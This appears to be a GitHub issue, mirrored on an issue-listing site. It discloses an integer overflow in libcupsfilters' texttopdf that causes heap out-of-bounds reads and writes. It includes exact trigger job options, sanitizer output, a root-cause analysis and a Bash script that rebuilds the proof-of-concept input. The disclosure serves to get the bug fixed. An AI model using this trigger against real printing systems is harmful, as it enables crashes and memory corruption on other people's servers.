OpenPrinting / OpenPrinting/libcupsfilters

texttopdf: column-layout integer overflow causes heap out-of-bounds access

Open
#195 0 comments 0 reactions 0 assignees View on GitHub

Nobody has claimed this yet.

Dominant language
C
Stars
17
Forks
71
Avg merge
2d 17h
Merged PRs (30d)
13

Description

Summary

cfFilterTextToPDF() derives its per-column width using signed int
arithmetic over the attacker-controlled columns option. A large positive
column count overflows the gutter multiplication and produces a small positive
logical column width. Repeated line and page-column transitions then index
beyond the allocated page buffer.

The failure is reached through the normal standalone texttopdf filter with
an ASCII document and ordinary job options. No fuzzing harness, malformed
container, or source modification is used.

Reproduction

Final upstream recheck on 2026-08-02: OpenPrinting/cups-filters 11d1a190530f85a361a1b3835f57d635256dff1a, libcupsfilters 905fd94fb22a9298bc8e2c845eb7e04f7055b686, and libppd fc41539f761286396a7df8aeeda762070192e37e.

Validated revisions:

  • cups-filters: 11d1a190530f85a361a1b3835f57d635256dff1a
  • libcupsfilters: 905fd94fb22a9298bc8e2c845eb7e04f7055b686
  • libppd: 522af8dd135f4dde66b1aac8b9d067808bbe122d

poc/document.txt contains 512 A bytes, with SHA-256
32beecb58a128af8248504600bd203dcc676adf41045300485655e6b8780a01d.
The first out-of-bounds access occurs while processing byte 397; the remaining
bytes demonstrate that the write continues into following heap memory. The
options are:

columns=429496747 cpi=10 lpi=1

Run:

./reproduce.sh

The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.

#!/usr/bin/env bash
set -euo pipefail

# PoC: texttopdf: column-layout integer overflow causes heap out-of-bounds access
# Finding ID: texttopdf-column-layout-integer-overflow
# Trigger: cfFilterTextToPDF() derives its per-column width using signed int
# arithmetic over the attacker-controlled columns option. A large positive
# column count overflows the gutter multiplication and produces a small
# positive logical column width. Repeated line and page-column transitions
# then index beyond the allocated page buffer.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.

OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"

for tool in base64 gzip sha256sum; do
  command -v "$tool" >/dev/null || {
    printf 'missing required tool: %s\n' "$tool" >&2
    exit 1
  }
done

write_file() {
  local name="$1"
  local expected_sha256="$2"
  local path="$OUTPUT_DIR/$name"
  local actual_sha256

  mkdir -p "$(dirname "$path")"
  base64 --decode | gzip --decompress > "$path"
  actual_sha256="$(sha256sum "$path")"
  actual_sha256="${actual_sha256%% *}"
  if [[ "$actual_sha256" != "$expected_sha256" ]]; then
    printf 'SHA-256 mismatch for %s\n' "$path" >&2
    return 1
  fi
  printf '%s  %s bytes  sha256=%s\n' \
    "$path" "$(wc -c < "$path")" "$actual_sha256"
}

# Malformed or boundary document consumed by the real filter/API.
# Output: document.txt (512 bytes)
write_file document.txt 32beecb58a128af8248504600bd203dcc676adf41045300485655e6b8780a01d <<'POC_PAYLOAD_0'
H4sIAAAAAAACA3N0HAUjGQAA9B8SZgACAAA=
POC_PAYLOAD_0

Result

UBSan first reports:

texttopdf.c:1915: runtime error: signed integer overflow:
5 * 429496746 cannot be represented in type 'int'

ASan then reports a two-byte heap-buffer-overflow read at line 1397, four
bytes after the 3,200-byte lchar_t page allocation. The same branch
subsequently writes the character attribute and the attacker-selected
character through the out-of-range pointer at lines 1409 and 1411.

The non-sanitized build reaches heap cleanup and aborts with:

double free or corruption (out)

Cause and expected behavior

For the default Letter printable width, cpi=10 creates
SizeColumns=80 and ColumnGutter=5. At lines 1915-1917:

ColumnWidth = (SizeColumns - ColumnGutter * (PageColumns - 1))
              / PageColumns;

PageColumns=429496747 overflows the multiplication and derives
ColumnWidth=4. Every four document characters advance the line; every ten
lines advance page_column, but the configured page-column count is so large
that the page is not flushed. The index at line 1390 therefore grows as
column + page_column * 9 even though each allocated row has only 80 cells.
The 397th character addresses cell 801 of an 800-cell page.

The column count and gutter product must be range-checked using checked
size_t arithmetic. Derived column widths, strides, and every flattened page
index must be proven to fit the allocated page before document processing.

Contributor guide

Open the contributing guide

First steps

  1. Read the whole issue, then the project's contributing guide.
  2. Comment on the issue to say you are picking it up — it saves two people doing the same work.
  3. Fork the repository and make your change on a branch.
  4. Open a pull request that references the issue number.

Research direction

Start in texttopdf.c at lines 1390, 1397, 1409, 1411, and 1915-1917 to trace column-width calculation and flattened page indexing. Run reproduce.sh with poc/document.txt and the stated columns, cpi, and lpi options under UBSan and ASan. Done means the PoC no longer reaches the reported overflow or out-of-bounds accesses, while normal processing remains intact.

Written by the indexing model from the issue text.

Assessment

Tech stack
c
Domain
security
Issue type
Bug
Difficulty
4/5
Estimated time
3-5 days
Activity status
Quiet
Clarity
Clearly specified
Newbie friendliness
55/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.